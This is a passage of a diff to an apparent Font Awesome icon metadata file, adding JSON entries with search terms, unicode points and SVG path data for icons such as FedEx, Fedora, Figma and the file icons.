"viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M512 0C460.22 3.56 96.44 38.2 71.01 287.61c-3.09 26.66-4.84 53.44-5.99 80.24l178.87-178.69c6.25-6.25 16.4-6.25 22.65 0s6.25 16.38 0 22.63L7.04 471.03c-9.38 9.37-9.38 24.57 0 33.94 9.38 9.37 24.59 9.37 33.98 0l57.13-57.07c42.09-.14 84.15-2.53 125.96-7.36 53.48-5.44 97.02-26.47 132.58-56.54H255.74l146.79-48.88c11.25-14.89 21.37-30.71 30.45-47.12h-81.14l106.54-53.21C500.29 132.86 510.19 26.26 512 0z" + } + }, + "free": [ + "solid" + ] + }, + "fedex": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "Federal Express", + "package", + "shipping" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f797", + "label": "FedEx", + "svg": { + "brands": { + "last_modified": 1546440860985, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M586 284.5l53.3-59.9h-62.4l-21.7 24.8-22.5-24.8H414v-16h56.1v-48.1H318.9V236h-.5c-9.6-11-21.5-14.8-35.4-14.8-28.4 0-49.8 19.4-57.3 44.9-18-59.4-97.4-57.6-121.9-14v-24.2H49v-26.2h60v-41.1H0V345h49v-77.5h48.9c-1.5 5.7-2.3 11.8-2.3 18.2 0 73.1 102.6 91.4 130.2 23.7h-42c-14.7 20.9-45.8 8.9-45.8-14.6h85.5c3.7 30.5 27.4 56.9 60.1 56.9 14.1 0 27-6.9 34.9-18.6h.5V345h212.2l22.1-25 22.3 25H640l-54-60.5zm-446.7-16.6c6.1-26.3 41.7-25.6 46.5 0h-46.5zm153.4 48.9c-34.6 0-34-62.8 0-62.8 32.6 0 34.5 62.8 0 62.8zm167.8 19.1h-94.4V169.4h95v30.2H405v33.9h55.5v28.1h-56.1v44.7h56.1v29.6zm-45.9-39.8v-24.4h56.1v-44l50.7 57-50.7 57v-45.6h-56.1zm138.6 10.3l-26.1 29.5H489l45.6-51.2-45.6-51.2h39.7l26.6 29.3 25.6-29.3h38.5l-45.4 51 46 51.4h-40.5l-26.3-29.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M586 284.5l53.3-59.9h-62.4l-21.7 24.8-22.5-24.8H414v-16h56.1v-48.1H318.9V236h-.5c-9.6-11-21.5-14.8-35.4-14.8-28.4 0-49.8 19.4-57.3 44.9-18-59.4-97.4-57.6-121.9-14v-24.2H49v-26.2h60v-41.1H0V345h49v-77.5h48.9c-1.5 5.7-2.3 11.8-2.3 18.2 0 73.1 102.6 91.4 130.2 23.7h-42c-14.7 20.9-45.8 8.9-45.8-14.6h85.5c3.7 30.5 27.4 56.9 60.1 56.9 14.1 0 27-6.9 34.9-18.6h.5V345h212.2l22.1-25 22.3 25H640l-54-60.5zm-446.7-16.6c6.1-26.3 41.7-25.6 46.5 0h-46.5zm153.4 48.9c-34.6 0-34-62.8 0-62.8 32.6 0 34.5 62.8 0 62.8zm167.8 19.1h-94.4V169.4h95v30.2H405v33.9h55.5v28.1h-56.1v44.7h56.1v29.6zm-45.9-39.8v-24.4h56.1v-44l50.7 57-50.7 57v-45.6h-56.1zm138.6 10.3l-26.1 29.5H489l45.6-51.2-45.6-51.2h39.7l26.6 29.3 25.6-29.3h38.5l-45.4 51 46 51.4h-40.5l-26.3-29.5z" + } + }, + "free": [ + "brands" + ] + }, + "fedora": { + "changes": [ + "5.6.0", + "5.6.3", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [ + "linux", + "operating system", + "os" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f798", + "label": "Fedora", + "voted": true, + "svg": { + "brands": { + "last_modified": 1558987775897, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M225 32C101.3 31.7.8 131.7.4 255.4L0 425.7a53.6 53.6 0 0 0 53.6 53.9l170.2.4c123.7.3 224.3-99.7 224.6-223.4S348.7 32.3 225 32zm169.8 157.2L333 126.6c2.3-4.7 3.8-9.2 3.8-14.3v-1.6l55.2 56.1a101 101 0 0 1 2.8 22.4zM331 94.3a106.06 106.06 0 0 1 58.5 63.8l-54.3-54.6a26.48 26.48 0 0 0-4.2-9.2zM118.1 247.2a49.66 49.66 0 0 0-7.7 11.4l-8.5-8.5a85.78 85.78 0 0 1 16.2-2.9zM97 251.4l11.8 11.9-.9 8a34.74 34.74 0 0 0 2.4 12.5l-27-27.2a80.6 80.6 0 0 1 13.7-5.2zm-18.2 7.4l38.2 38.4a53.17 53.17 0 0 0-14.1 4.7L67.6 266a107 107 0 0 1 11.2-7.2zm-15.2 9.8l35.3 35.5a67.25 67.25 0 0 0-10.5 8.5L53.5 278a64.33 64.33 0 0 1 10.1-9.4zm-13.3 12.3l34.9 35a56.84 56.84 0 0 0-7.7 11.4l-35.8-35.9c2.8-3.8 5.7-7.2 8.6-10.5zm-11 14.3l36.4 36.6a48.29 48.29 0 0 0-3.6 15.2l-39.5-39.8a99.81 99.81 0 0 1 6.7-12zm-8.8 16.3l41.3 41.8a63.47 63.47 0 0 0 6.7 26.2L25.8 326c1.4-4.9 2.9-9.6 4.7-14.5zm-7.9 43l61.9 62.2a31.24 31.24 0 0 0-3.6 14.3v1.1l-55.4-55.7a88.27 88.27 0 0 1-2.9-21.9zm5.3 30.7l54.3 54.6a28.44 28.44 0 0 0 4.2 9.2 106.32 106.32 0 0 1-58.5-63.8zm-5.3-37a80.69 80.69 0 0 1 2.1-17l72.2 72.5a37.59 37.59 0 0 0-9.9 8.7zm253.3-51.8l-42.6-.1-.1 56c-.2 69.3-64.4 115.8-125.7 102.9-5.7 0-19.9-8.7-19.9-24.2a24.89 24.89 0 0 1 24.5-24.6c6.3 0 6.3 1.6 15.7 1.6a55.91 55.91 0 0 0 56.1-55.9l.1-47c0-4.5-4.5-9-8.9-9l-33.6-.1c-32.6-.1-32.5-49.4.1-49.3l42.6.1.1-56a105.18 105.18 0 0 1 105.6-105 86.35 86.35 0 0 1 20.2 2.3c11.2 1.8 19.9 11.9 19.9 24 0 15.5-14.9 27.8-30.3 23.9-27.4-5.9-65.9 14.4-66 54.9l-.1 47a8.94 8.94 0 0 0 8.9 9l33.6.1c32.5.2 32.4 49.5-.2 49.4zm23.5-.3a35.58 35.58 0 0 0 7.6-11.4l8.5 8.5a102 102 0 0 1-16.1 2.9zm21-4.2L308.6 280l.9-8.1a34.74 34.74 0 0 0-2.4-12.5l27 27.2a74.89 74.89 0 0 1-13.7 5.3zm18-7.4l-38-38.4c4.9-1.1 9.6-2.4 13.7-4.7l36.2 35.9c-3.8 2.5-7.9 5-11.9 7.2zm15.5-9.8l-35.3-35.5a61.06 61.06 0 0 0 10.5-8.5l34.9 35a124.56 124.56 0 0 1-10.1 9zm13.2-12.3l-34.9-35a63.18 63.18 0 0 0 7.7-11.4l35.8 35.9a130.28 130.28 0 0 1-8.6 10.5zm11-14.3l-36.4-36.6a48.29 48.29 0 0 0 3.6-15.2l39.5 39.8a87.72 87.72 0 0 1-6.7 12zm13.5-30.9a140.63 140.63 0 0 1-4.7 14.3L345.6 190a58.19 58.19 0 0 0-7.1-26.2zm1-5.6l-71.9-72.1a32 32 0 0 0 9.9-9.2l64.3 64.7a90.93 90.93 0 0 1-2.3 16.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M225 32C101.3 31.7.8 131.7.4 255.4L0 425.7a53.6 53.6 0 0 0 53.6 53.9l170.2.4c123.7.3 224.3-99.7 224.6-223.4S348.7 32.3 225 32zm169.8 157.2L333 126.6c2.3-4.7 3.8-9.2 3.8-14.3v-1.6l55.2 56.1a101 101 0 0 1 2.8 22.4zM331 94.3a106.06 106.06 0 0 1 58.5 63.8l-54.3-54.6a26.48 26.48 0 0 0-4.2-9.2zM118.1 247.2a49.66 49.66 0 0 0-7.7 11.4l-8.5-8.5a85.78 85.78 0 0 1 16.2-2.9zM97 251.4l11.8 11.9-.9 8a34.74 34.74 0 0 0 2.4 12.5l-27-27.2a80.6 80.6 0 0 1 13.7-5.2zm-18.2 7.4l38.2 38.4a53.17 53.17 0 0 0-14.1 4.7L67.6 266a107 107 0 0 1 11.2-7.2zm-15.2 9.8l35.3 35.5a67.25 67.25 0 0 0-10.5 8.5L53.5 278a64.33 64.33 0 0 1 10.1-9.4zm-13.3 12.3l34.9 35a56.84 56.84 0 0 0-7.7 11.4l-35.8-35.9c2.8-3.8 5.7-7.2 8.6-10.5zm-11 14.3l36.4 36.6a48.29 48.29 0 0 0-3.6 15.2l-39.5-39.8a99.81 99.81 0 0 1 6.7-12zm-8.8 16.3l41.3 41.8a63.47 63.47 0 0 0 6.7 26.2L25.8 326c1.4-4.9 2.9-9.6 4.7-14.5zm-7.9 43l61.9 62.2a31.24 31.24 0 0 0-3.6 14.3v1.1l-55.4-55.7a88.27 88.27 0 0 1-2.9-21.9zm5.3 30.7l54.3 54.6a28.44 28.44 0 0 0 4.2 9.2 106.32 106.32 0 0 1-58.5-63.8zm-5.3-37a80.69 80.69 0 0 1 2.1-17l72.2 72.5a37.59 37.59 0 0 0-9.9 8.7zm253.3-51.8l-42.6-.1-.1 56c-.2 69.3-64.4 115.8-125.7 102.9-5.7 0-19.9-8.7-19.9-24.2a24.89 24.89 0 0 1 24.5-24.6c6.3 0 6.3 1.6 15.7 1.6a55.91 55.91 0 0 0 56.1-55.9l.1-47c0-4.5-4.5-9-8.9-9l-33.6-.1c-32.6-.1-32.5-49.4.1-49.3l42.6.1.1-56a105.18 105.18 0 0 1 105.6-105 86.35 86.35 0 0 1 20.2 2.3c11.2 1.8 19.9 11.9 19.9 24 0 15.5-14.9 27.8-30.3 23.9-27.4-5.9-65.9 14.4-66 54.9l-.1 47a8.94 8.94 0 0 0 8.9 9l33.6.1c32.5.2 32.4 49.5-.2 49.4zm23.5-.3a35.58 35.58 0 0 0 7.6-11.4l8.5 8.5a102 102 0 0 1-16.1 2.9zm21-4.2L308.6 280l.9-8.1a34.74 34.74 0 0 0-2.4-12.5l27 27.2a74.89 74.89 0 0 1-13.7 5.3zm18-7.4l-38-38.4c4.9-1.1 9.6-2.4 13.7-4.7l36.2 35.9c-3.8 2.5-7.9 5-11.9 7.2zm15.5-9.8l-35.3-35.5a61.06 61.06 0 0 0 10.5-8.5l34.9 35a124.56 124.56 0 0 1-10.1 9zm13.2-12.3l-34.9-35a63.18 63.18 0 0 0 7.7-11.4l35.8 35.9a130.28 130.28 0 0 1-8.6 10.5zm11-14.3l-36.4-36.6a48.29 48.29 0 0 0 3.6-15.2l39.5 39.8a87.72 87.72 0 0 1-6.7 12zm13.5-30.9a140.63 140.63 0 0 1-4.7 14.3L345.6 190a58.19 58.19 0 0 0-7.1-26.2zm1-5.6l-71.9-72.1a32 32 0 0 0 9.9-9.2l64.3 64.7a90.93 90.93 0 0 1-2.3 16.6z" + } + }, + "free": [ + "brands" + ] + }, + "female": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "human", + "person", + "profile", + "user", + "woman" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f182", + "label": "Female", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635471, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M128 0c35.346 0 64 28.654 64 64s-28.654 64-64 64c-35.346 0-64-28.654-64-64S92.654 0 128 0m119.283 354.179l-48-192A24 24 0 0 0 176 144h-11.36c-22.711 10.443-49.59 10.894-73.28 0H80a24 24 0 0 0-23.283 18.179l-48 192C4.935 369.305 16.383 384 32 384h56v104c0 13.255 10.745 24 24 24h32c13.255 0 24-10.745 24-24V384h56c15.591 0 27.071-14.671 23.283-29.821z\"/></svg>", + "viewBox": [ + "0", + "0", + "256", + "512" + ], + "width": 256, + "height": 512, + "path": "M128 0c35.346 0 64 28.654 64 64s-28.654 64-64 64c-35.346 0-64-28.654-64-64S92.654 0 128 0m119.283 354.179l-48-192A24 24 0 0 0 176 144h-11.36c-22.711 10.443-49.59 10.894-73.28 0H80a24 24 0 0 0-23.283 18.179l-48 192C4.935 369.305 16.383 384 32 384h56v104c0 13.255 10.745 24 24 24h32c13.255 0 24-10.745 24-24V384h56c15.591 0 27.071-14.671 23.283-29.821z" + } + }, + "free": [ + "solid" + ] + }, + "fighter-jet": { + "changes": [ + "3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "airplane", + "fast", + "fly", + "goose", + "maverick", + "plane", + "quick", + "top gun", + "transportation", + "travel" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0fb", + "label": "fighter-jet", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635471, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M544 224l-128-16-48-16h-24L227.158 44h39.509C278.333 44 288 41.375 288 38s-9.667-6-21.333-6H152v12h16v164h-48l-66.667-80H18.667L8 138.667V208h8v16h48v2.666l-64 8v42.667l64 8V288H16v16H8v69.333L18.667 384h34.667L120 304h48v164h-16v12h114.667c11.667 0 21.333-2.625 21.333-6s-9.667-6-21.333-6h-39.509L344 320h24l48-16 128-16c96-21.333 96-26.583 96-32 0-5.417 0-10.667-96-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M544 224l-128-16-48-16h-24L227.158 44h39.509C278.333 44 288 41.375 288 38s-9.667-6-21.333-6H152v12h16v164h-48l-66.667-80H18.667L8 138.667V208h8v16h48v2.666l-64 8v42.667l64 8V288H16v16H8v69.333L18.667 384h34.667L120 304h48v164h-16v12h114.667c11.667 0 21.333-2.625 21.333-6s-9.667-6-21.333-6h-39.509L344 320h24l48-16 128-16c96-21.333 96-26.583 96-32 0-5.417 0-10.667-96-32z" + } + }, + "free": [ + "solid" + ] + }, + "figma": { + "changes": [ + "5.6.0", + "5.7.0", + "5.8.0", + "5.15.4" + ], + "ligatures": [], + "search": { + "terms": [ + "app", + "design", + "interface" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f799", + "label": "Figma", + "voted": false, + "svg": { + "brands": { + "last_modified": 1628096638418, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M14 95.7924C14 42.8877 56.8878 0 109.793 0H274.161C327.066 0 369.954 42.8877 369.954 95.7924C369.954 129.292 352.758 158.776 326.711 175.897C352.758 193.019 369.954 222.502 369.954 256.002C369.954 308.907 327.066 351.795 274.161 351.795H272.081C247.279 351.795 224.678 342.369 207.666 326.904V415.167C207.666 468.777 163.657 512 110.309 512C57.5361 512 14 469.243 14 416.207C14 382.709 31.1945 353.227 57.2392 336.105C31.1945 318.983 14 289.5 14 256.002C14 222.502 31.196 193.019 57.2425 175.897C31.196 158.776 14 129.292 14 95.7924ZM176.288 191.587H109.793C74.2172 191.587 45.3778 220.427 45.3778 256.002C45.3778 291.44 73.9948 320.194 109.381 320.416C109.518 320.415 109.655 320.415 109.793 320.415H176.288V191.587ZM207.666 256.002C207.666 291.577 236.505 320.417 272.081 320.417H274.161C309.737 320.417 338.576 291.577 338.576 256.002C338.576 220.427 309.737 191.587 274.161 191.587H272.081C236.505 191.587 207.666 220.427 207.666 256.002ZM109.793 351.795C109.655 351.795 109.518 351.794 109.381 351.794C73.9948 352.015 45.3778 380.769 45.3778 416.207C45.3778 451.652 74.6025 480.622 110.309 480.622C146.591 480.622 176.288 451.186 176.288 415.167V351.795H109.793ZM109.793 31.3778C74.2172 31.3778 45.3778 60.2173 45.3778 95.7924C45.3778 131.368 74.2172 160.207 109.793 160.207H176.288V31.3778H109.793ZM207.666 160.207H274.161C309.737 160.207 338.576 131.368 338.576 95.7924C338.576 60.2173 309.737 31.3778 274.161 31.3778H207.666V160.207Z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M14 95.7924C14 42.8877 56.8878 0 109.793 0H274.161C327.066 0 369.954 42.8877 369.954 95.7924C369.954 129.292 352.758 158.776 326.711 175.897C352.758 193.019 369.954 222.502 369.954 256.002C369.954 308.907 327.066 351.795 274.161 351.795H272.081C247.279 351.795 224.678 342.369 207.666 326.904V415.167C207.666 468.777 163.657 512 110.309 512C57.5361 512 14 469.243 14 416.207C14 382.709 31.1945 353.227 57.2392 336.105C31.1945 318.983 14 289.5 14 256.002C14 222.502 31.196 193.019 57.2425 175.897C31.196 158.776 14 129.292 14 95.7924ZM176.288 191.587H109.793C74.2172 191.587 45.3778 220.427 45.3778 256.002C45.3778 291.44 73.9948 320.194 109.381 320.416C109.518 320.415 109.655 320.415 109.793 320.415H176.288V191.587ZM207.666 256.002C207.666 291.577 236.505 320.417 272.081 320.417H274.161C309.737 320.417 338.576 291.577 338.576 256.002C338.576 220.427 309.737 191.587 274.161 191.587H272.081C236.505 191.587 207.666 220.427 207.666 256.002ZM109.793 351.795C109.655 351.795 109.518 351.794 109.381 351.794C73.9948 352.015 45.3778 380.769 45.3778 416.207C45.3778 451.652 74.6025 480.622 110.309 480.622C146.591 480.622 176.288 451.186 176.288 415.167V351.795H109.793ZM109.793 31.3778C74.2172 31.3778 45.3778 60.2173 45.3778 95.7924C45.3778 131.368 74.2172 160.207 109.793 160.207H176.288V31.3778H109.793ZM207.666 160.207H274.161C309.737 160.207 338.576 131.368 338.576 95.7924C338.576 60.2173 309.737 31.3778 274.161 31.3778H207.666V160.207Z" + } + }, + "free": [ + "brands" + ] + }, + "file": { + "changes": [ + "3.2", + "5.0.0", + "5.10.1", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "document", + "new", + "page", + "pdf", + "resume" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f15b", + "label": "File", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635482, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm160-14.1v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm160-14.1v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z" + }, + "regular": { + "last_modified": 1628088634807, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "file-alt": { + "changes": [ + "3.2", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "document", + "file-text", + "invoice", + "new", + "page", + "pdf" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f15c", + "label": "Alternate File", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635472, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm64 236c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-8c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12v8zm0-64c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-8c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12v8zm0-72v8c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-8c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12zm96-114.1v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm64 236c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-8c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12v8zm0-64c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-8c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12v8zm0-72v8c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-8c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12zm96-114.1v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z" + }, + "regular": { + "last_modified": 1628088634799, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M288 248v28c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-28c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12zm-12 72H108c-6.6 0-12 5.4-12 12v28c0 6.6 5.4 12 12 12h168c6.6 0 12-5.4 12-12v-28c0-6.6-5.4-12-12-12zm108-188.1V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V48C0 21.5 21.5 0 48 0h204.1C264.8 0 277 5.1 286 14.1L369.9 98c9 8.9 14.1 21.2 14.1 33.9zm-128-80V128h76.1L256 51.9zM336 464V176H232c-13.3 0-24-10.7-24-24V48H48v416h288z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M288 248v28c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-28c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12zm-12 72H108c-6.6 0-12 5.4-12 12v28c0 6.6 5.4 12 12 12h168c6.6 0 12-5.4 12-12v-28c0-6.6-5.4-12-12-12zm108-188.1V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V48C0 21.5 21.5 0 48 0h204.1C264.8 0 277 5.1 286 14.1L369.9 98c9 8.9 14.1 21.2 14.1 33.9zm-128-80V128h76.1L256 51.9zM336 464V176H232c-13.3 0-24-10.7-24-24V48H48v416h288z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "file-archive": { + "changes": [ + "4.1", + "5.0.0", + "5.7.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + ".zip", + "bundle", + "compress", + "compression", + "download", + "zip" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f1c6", + "label": "Archive File", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635472, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zM128.4 336c-17.9 0-32.4 12.1-32.4 27 0 15 14.6 27 32.5 27s32.4-12.1 32.4-27-14.6-27-32.5-27zM224 136V0h-63.6v32h-32V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM95.9 32h32v32h-32zm32.3 384c-33.2 0-58-30.4-51.4-62.9L96.4 256v-32h32v-32h-32v-32h32v-32h-32V96h32V64h32v32h-32v32h32v32h-32v32h32v32h-32v32h22.1c5.7 0 10.7 4.1 11.8 9.7l17.3 87.7c6.4 32.4-18.4 62.6-51.4 62.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zM128.4 336c-17.9 0-32.4 12.1-32.4 27 0 15 14.6 27 32.5 27s32.4-12.1 32.4-27-14.6-27-32.5-27zM224 136V0h-63.6v32h-32V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM95.9 32h32v32h-32zm32.3 384c-33.2 0-58-30.4-51.4-62.9L96.4 256v-32h32v-32h-32v-32h32v-32h-32V96h32V64h32v32h-32v32h32v32h-32v32h32v32h-32v32h22.1c5.7 0 10.7 4.1 11.8 9.7l17.3 87.7c6.4 32.4-18.4 62.6-51.4 62.6z" + }, + "regular": { + "last_modified": 1628088634799, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M128.3 160v32h32v-32zm64-96h-32v32h32zm-64 32v32h32V96zm64 32h-32v32h32zm177.6-30.1L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM256 51.9l76.1 76.1H256zM336 464H48V48h79.7v16h32V48H208v104c0 13.3 10.7 24 24 24h104zM194.2 265.7c-1.1-5.6-6-9.7-11.8-9.7h-22.1v-32h-32v32l-19.7 97.1C102 385.6 126.8 416 160 416c33.1 0 57.9-30.2 51.5-62.6zm-33.9 124.4c-17.9 0-32.4-12.1-32.4-27s14.5-27 32.4-27 32.4 12.1 32.4 27-14.5 27-32.4 27zm32-198.1h-32v32h32z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M128.3 160v32h32v-32zm64-96h-32v32h32zm-64 32v32h32V96zm64 32h-32v32h32zm177.6-30.1L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM256 51.9l76.1 76.1H256zM336 464H48V48h79.7v16h32V48H208v104c0 13.3 10.7 24 24 24h104zM194.2 265.7c-1.1-5.6-6-9.7-11.8-9.7h-22.1v-32h-32v32l-19.7 97.1C102 385.6 126.8 416 160 416c33.1 0 57.9-30.2 51.5-62.6zm-33.9 124.4c-17.9 0-32.4-12.1-32.4-27s14.5-27 32.4-27 32.4 12.1 32.4 27-14.5 27-32.4 27zm32-198.1h-32v32h32z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "file-audio": { + "changes": [ + "4.1", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "document", + "mp3", + "music", + "page", + "play", + "sound" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f1c7", + "label": "Audio File", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635472, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm-64 268c0 10.7-12.9 16-20.5 8.5L104 376H76c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h28l35.5-36.5c7.6-7.6 20.5-2.2 20.5 8.5v136zm33.2-47.6c9.1-9.3 9.1-24.1 0-33.4-22.1-22.8 12.2-56.2 34.4-33.5 27.2 27.9 27.2 72.4 0 100.4-21.8 22.3-56.9-10.4-34.4-33.5zm86-117.1c54.4 55.9 54.4 144.8 0 200.8-21.8 22.4-57-10.3-34.4-33.5 36.2-37.2 36.3-96.5 0-133.8-22.1-22.8 12.3-56.3 34.4-33.5zM384 121.9v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm-64 268c0 10.7-12.9 16-20.5 8.5L104 376H76c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h28l35.5-36.5c7.6-7.6 20.5-2.2 20.5 8.5v136zm33.2-47.6c9.1-9.3 9.1-24.1 0-33.4-22.1-22.8 12.2-56.2 34.4-33.5 27.2 27.9 27.2 72.4 0 100.4-21.8 22.3-56.9-10.4-34.4-33.5zm86-117.1c54.4 55.9 54.4 144.8 0 200.8-21.8 22.4-57-10.3-34.4-33.5 36.2-37.2 36.3-96.5 0-133.8-22.1-22.8 12.3-56.3 34.4-33.5zM384 121.9v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z" + 